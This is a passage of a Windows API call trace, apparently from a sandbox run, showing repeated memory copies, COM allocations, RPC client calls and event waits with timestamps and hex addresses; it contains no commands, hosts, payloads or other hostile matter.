(cb=0x2e) returned 0x2af2e90 [0146.498] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x2e | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.498] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.499] CoTaskMemFree (pv=0x2af2e90) [0146.499] SetEvent (hEvent=0x174) returned 1 [0146.499] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.506] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.506] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.506] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x45 | out: _Dst=0x335934) returned 0x335934 [0146.506] CoTaskMemAlloc (cb=0x49) returned 0x380250 [0146.506] memcpy (in: _Dst=0x380250, _Src=0x335930, _Size=0x49 | out: _Dst=0x380250) returned 0x380250 [0146.507] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.508] CoTaskMemFree (pv=0x380250) [0146.508] SetEvent (hEvent=0x174) returned 1 [0146.508] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.515] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.515] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.515] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2c | out: _Dst=0x335934) returned 0x335934 [0146.515] CoTaskMemAlloc (cb=0x30) returned 0x2af2e50 [0146.515] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x30 | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.515] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.516] CoTaskMemFree (pv=0x2af2e50) [0146.516] SetEvent (hEvent=0x174) returned 1 [0146.516] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.530] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.530] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.530] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x28 | out: _Dst=0x335934) returned 0x335934 [0146.530] CoTaskMemAlloc (cb=0x2c) returned 0x2af2e90 [0146.530] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x2c | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.530] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.531] CoTaskMemFree (pv=0x2af2e90) [0146.531] SetEvent (hEvent=0x174) returned 1 [0146.531] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.542] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.542] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.542] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x31 | out: _Dst=0x335934) returned 0x335934 [0146.543] CoTaskMemAlloc (cb=0x35) returned 0x2af2e50 [0146.543] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x35 | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.543] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.543] CoTaskMemFree (pv=0x2af2e50) [0146.543] SetEvent (hEvent=0x174) returned 1 [0146.543] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.555] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.555] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.555] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x4d | out: _Dst=0x335934) returned 0x335934 [0146.555] CoTaskMemAlloc (cb=0x51) returned 0x380250 [0146.555] memcpy (in: _Dst=0x380250, _Src=0x335930, _Size=0x51 | out: _Dst=0x380250) returned 0x380250 [0146.555] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.556] CoTaskMemFree (pv=0x380250) [0146.556] SetEvent (hEvent=0x174) returned 1 [0146.556] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.563] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.563] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.563] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x31 | out: _Dst=0x335934) returned 0x335934 [0146.563] CoTaskMemAlloc (cb=0x35) returned 0x2af2e90 [0146.563] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x35 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.563] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.564] CoTaskMemFree (pv=0x2af2e90) [0146.564] SetEvent (hEvent=0x174) returned 1 [0146.564] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.590] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.590] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.590] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x6d | out: _Dst=0x335934) returned 0x335934 [0146.590] CoTaskMemAlloc (cb=0x71) returned 0x34acb0 [0146.590] memcpy (in: _Dst=0x34acb0, _Src=0x335930, _Size=0x71 | out: _Dst=0x34acb0) returned 0x34acb0 [0146.590] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.593] CoTaskMemFree (pv=0x34acb0) [0146.593] SetEvent (hEvent=0x174) returned 1 [0146.593] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.603] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.603] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.603] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2b | out: _Dst=0x335934) returned 0x335934 [0146.603] CoTaskMemAlloc (cb=0x2f) returned 0x2af2e50 [0146.603] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x2f | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.603] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.604] CoTaskMemFree (pv=0x2af2e50) [0146.604] SetEvent (hEvent=0x174) returned 1 [0146.604] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.611] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.611] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.611] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x3b | out: _Dst=0x335934) returned 0x335934 [0146.611] CoTaskMemAlloc (cb=0x3f) returned 0x372100 [0146.611] memcpy (in: _Dst=0x372100, _Src=0x335930, _Size=0x3f | out: _Dst=0x372100) returned 0x372100 [0146.611] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.612] CoTaskMemFree (pv=0x372100) [0146.612] SetEvent (hEvent=0x174) returned 1 [0146.612] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.625] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.625] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.625] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2c | out: _Dst=0x335934) returned 0x335934 [0146.625] CoTaskMemAlloc (cb=0x30) returned 0x2af2e90 [0146.625] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x30 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.625] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.626] CoTaskMemFree (pv=0x2af2e90) [0146.626] SetEvent (hEvent=0x174) returned 1 [0146.626] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.645] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.645] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.645] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x36 | out: _Dst=0x335934) returned 0x335934 [0146.645] CoTaskMemAlloc (cb=0x3a) returned 0x372100 [0146.645] memcpy (in: _Dst=0x372100, _Src=0x335930, _Size=0x3a | out: _Dst=0x372100) returned 0x372100 [0146.645] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.647] CoTaskMemFree (pv=0x372100) [0146.647] SetEvent (hEvent=0x174) returned 1 [0146.648] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.662] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.662] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.662] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2e | out: _Dst=0x335934) returned 0x335934 [0146.662] CoTaskMemAlloc (cb=0x32) returned 0x2af2e50 [0146.662] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x32 | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.662] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.665] CoTaskMemFree (pv=0x2af2e50) [0146.665] SetEvent (hEvent=0x174) returned 1 [0146.665] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.707] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.707] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.708] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x3d | out: _Dst=0x335934) returned 0x335934 [0146.708] CoTaskMemAlloc (cb=0x41) returned 0x372100 [0146.708] memcpy (in: _Dst=0x372100, _Src=0x335930, _Size=0x41 | out: _Dst=0x372100) returned 0x372100 [0146.708] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.709] CoTaskMemFree (pv=0x372100) [0146.709] SetEvent (hEvent=0x174) returned 1 [0146.709] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.721] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.721] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.721] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x2d | out: _Dst=0x335934) returned 0x335934 [0146.721] CoTaskMemAlloc (cb=0x31) returned 0x2af2e90 [0146.721] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x31 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.721] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.721] CoTaskMemFree (pv=0x2af2e90) [0146.722] SetEvent (hEvent=0x174) returned 1 [0146.722] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.747] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.747] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.747] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x3e | out: _Dst=0x335934) returned 0x335934 [0146.747] CoTaskMemAlloc (cb=0x42) returned 0x372100 [0146.747] memcpy (in: _Dst=0x372100, _Src=0x335930, _Size=0x42 | out: _Dst=0x372100) returned 0x372100 [0146.747] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.750] CoTaskMemFree (pv=0x372100) [0146.750] SetEvent (hEvent=0x174) returned 1 [0146.750] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.763] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.763] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.763] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x28 | out: _Dst=0x335934) returned 0x335934 [0146.763] CoTaskMemAlloc (cb=0x2c) returned 0x2af2e50 [0146.763] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x2c | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.763] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.764] CoTaskMemFree (pv=0x2af2e50) [0146.764] SetEvent (hEvent=0x174) returned 1 [0146.764] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.811] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.811] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.811] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x31 | out: _Dst=0x335934) returned 0x335934 [0146.811] CoTaskMemAlloc (cb=0x35) returned 0x2af2e90 [0146.811] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x35 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.811] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.815] CoTaskMemFree (pv=0x2af2e90) [0146.815] SetEvent (hEvent=0x174) returned 1 [0146.815] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.829] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.829] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.829] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x32 | out: _Dst=0x335934) returned 0x335934 [0146.829] CoTaskMemAlloc (cb=0x36) returned 0x2af2e50 [0146.829] memcpy (in: _Dst=0x2af2e50, _Src=0x335930, _Size=0x36 | out: _Dst=0x2af2e50) returned 0x2af2e50 [0146.829] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.830] CoTaskMemFree (pv=0x2af2e50) [0146.830] SetEvent (hEvent=0x174) returned 1 [0146.830] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.856] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.856] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.856] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x32 | out: _Dst=0x335934) returned 0x335934 [0146.857] CoTaskMemAlloc (cb=0x36) returned 0x2af2e90 [0146.857] memcpy (in: _Dst=0x2af2e90, _Src=0x335930, _Size=0x36 | out: _Dst=0x2af2e90) returned 0x2af2e90 [0146.857] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.858] CoTaskMemFree (pv=0x2af2e90) [0146.858] SetEvent (hEvent=0x174) returned 1 [0146.858] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.868] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.868] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.868] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x20 | out: _Dst=0x335934) returned 0x335934 [0146.868] CoTaskMemAlloc (cb=0x24) returned 0x3c23f0 [0146.868] memcpy (in: _Dst=0x3c23f0, _Src=0x335930, _Size=0x24 | out: _Dst=0x3c23f0) returned 0x3c23f0 [0146.868] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.868] CoTaskMemFree (pv=0x3c23f0) [0146.869] SetEvent (hEvent=0x174) returned 1 [0146.869] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.877] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.877] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.877] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1d | out: _Dst=0x335934) returned 0x335934 [0146.877] CoTaskMemAlloc (cb=0x21) returned 0x3c2420 [0146.877] memcpy (in: _Dst=0x3c2420, _Src=0x335930, _Size=0x21 | out: _Dst=0x3c2420) returned 0x3c2420 [0146.877] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.878] CoTaskMemFree (pv=0x3c2420) [0146.878] SetEvent (hEvent=0x174) returned 1 [0146.878] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.886] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.886] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.886] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x5e | out: _Dst=0x335934) returned 0x335934 [0146.886] CoTaskMemAlloc (cb=0x62) returned 0x3c5aa0 [0146.886] memcpy (in: _Dst=0x3c5aa0, _Src=0x335930, _Size=0x62 | out: _Dst=0x3c5aa0) returned 0x3c5aa0 [0146.886] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.887] CoTaskMemFree (pv=0x3c5aa0) [0146.887] SetEvent (hEvent=0x174) returned 1 [0146.887] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.905] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.905] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.905] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x20 | out: _Dst=0x335934) returned 0x335934 [0146.905] CoTaskMemAlloc (cb=0x24) returned 0x3c2450 [0146.905] memcpy (in: _Dst=0x3c2450, _Src=0x335930, _Size=0x24 | out: _Dst=0x3c2450) returned 0x3c2450 [0146.906] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.906] CoTaskMemFree (pv=0x3c2450) [0146.907] SetEvent (hEvent=0x174) returned 1 [0146.907] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.917] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.917] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.917] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1e | out: _Dst=0x335934) returned 0x335934 [0146.917] CoTaskMemAlloc (cb=0x22) returned 0x3c2450 [0146.917] memcpy (in: _Dst=0x3c2450, _Src=0x335930, _Size=0x22 | out: _Dst=0x3c2450) returned 0x3c2450 [0146.917] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.918] CoTaskMemFree (pv=0x3c2450) [0146.918] SetEvent (hEvent=0x174) returned 1 [0146.918] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.928] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.928] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.928] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x77 | out: _Dst=0x335934) returned 0x335934 [0146.928] CoTaskMemAlloc (cb=0x7b) returned 0x32f240 [0146.928] memcpy (in: _Dst=0x32f240, _Src=0x335930, _Size=0x7b | out: _Dst=0x32f240) returned 0x32f240 [0146.929] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.929] CoTaskMemFree (pv=0x32f240) [0146.929] SetEvent (hEvent=0x174) returned 1 [0146.930] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0146.938] memcpy (in: _Dst=0x335930, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335930) returned 0x335930 [0146.938] memcpy (in: _Dst=0x335932, _Src=0xdcdba8, _Size=0x2 | out: _Dst=0x335932) returned 0x335932 [0146.938] memcpy (in: _Dst=0x335934, _Src=0xdcdc00, _Size=0x1f | out: _Dst=0x335934) returned 0x335934 [0146.938] CoTaskMemAlloc (cb=0x23) returned 0x3c2480 [0146.938] memcpy (in: _Dst=0x3c2480, _Src=0x335930, _Size=0x23 | out: _Dst=0x3c2480) returned 0x3c2480 [0146.938] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0146.939] CoTaskMemFree (pv=0x3c2480) [0146.939] SetEvent (hEvent=0x174) returned 1 [0146.939] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0147.084] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0147.240] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0147.403] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0147.553] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0147.710] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.021] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.179] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.353] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.505] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.663] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x102 [0148.818] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.904] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.907] CoTaskMemFree (pv=0x3c2480) [0148.907] SetEvent (hEvent=0x174) returned 1 [0148.907] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.952] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.955] CoTaskMemFree (pv=0x2af2f50) [0148.955] SetEvent (hEvent=0x174) returned 1 [0148.955] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.958] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.959] CoTaskMemFree (pv=0x372100) [0148.959] SetEvent (hEvent=0x174) returned 1 [0148.959] MsgWaitForMultipleObjects (nCount=0x2, 